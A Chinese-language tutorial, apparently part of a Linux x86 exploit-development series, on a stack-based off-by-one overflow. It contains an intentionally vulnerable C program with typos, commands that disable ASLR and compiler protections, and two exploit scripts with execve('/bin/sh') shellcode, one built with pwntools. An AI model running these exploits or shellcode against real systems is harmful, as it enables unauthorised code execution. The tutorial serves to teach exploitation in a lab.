Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))
off by one(栈)?
将源字符串复制到目标缓冲区可能会导致off by one
1、源字符串长度等于目标缓冲区长度。
当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。
实例代码test1.c:
#include<stdio.h>
#include<stdlib.h>
void foo(char *arg);
void bar(char *arg);
void foo(char *arg){
Bar(arg);
}
void bar(char *arg)
{
char buf[256];
strcpy(buf,arg);
}
Int main(int argc, char *argv[])
{
if(strlen(argv[1]>256))
{
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
Foo(argv[1]);
Return 0;
}
接下来为了降低难度我们首先关闭alsr保护
首先我们执行这条命令看下是否开启(返回2为开启)
cat /proc/sys/kernel/randomize_va_space
开启切换到root用户下执行下面的命令
echo 0 > /proc/sys/kernel/randomize_va_space
然后进行编译即可
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o test1 test1.c
(
gcc编译时,关闭DEP和栈保护,-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector
)
编译完成后怎么gdb调试
Gdb ./test1
查看下汇编代码
Disassemble main
Disassemble foo
Disassemble bar
我们构造输入
(gdb) r `python -c 'print "A"*256'
然后看下eip发现这个时候报错
然后我们可以尝试按照下面的语句进行构造输入
r `python -c 'print "A" * 172 + "B" * 4 + "C" * 80'`
这个时候我们发现这个构造的产生溢出大概在程序偏移172+4+16+ebp地址处,
然后我们可以按照下面的来书写自己的shellcode
#!/usr/bin/env python
import struct
from subprocess import call
#execve(/bin/sh)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
ret_addr = 0xBFFFEF18
def conv(num):
return struct.pack("<I",num)
buf = "A" * 172
buf += conv(ret_addr)
buf += "\x90" * 30
buf += shellcode
buf += "\x90" * 22
print "Calling program"
call(["./test1", buf])
这个代码貌似由于gdb搞出来的和真实环境存在点差异无法溢出成功
然后请教了中北的师傅
给了我一个脚本
from pwn import *
import binascii
context.log_level = "debug"
#payload = "\x00" + "\x11"*0x200
payload = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
payload = payload.ljust(36,"\x11")
payload += p32(0x08048433) * 55
sh = process(argv=['./test1', payload])
sh.interactive()
大概分析了一下这个利用了main函数返回前会将bss_start里面的值给存储到eax里面,然后我们在bss_start那进行写入bin/sh然后就构造完成了
参考资料:
https://www.cnblogs.com/jourluohua/p/8994209.html
https://www.cnblogs.com/2014asm/p/10246063.html
https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/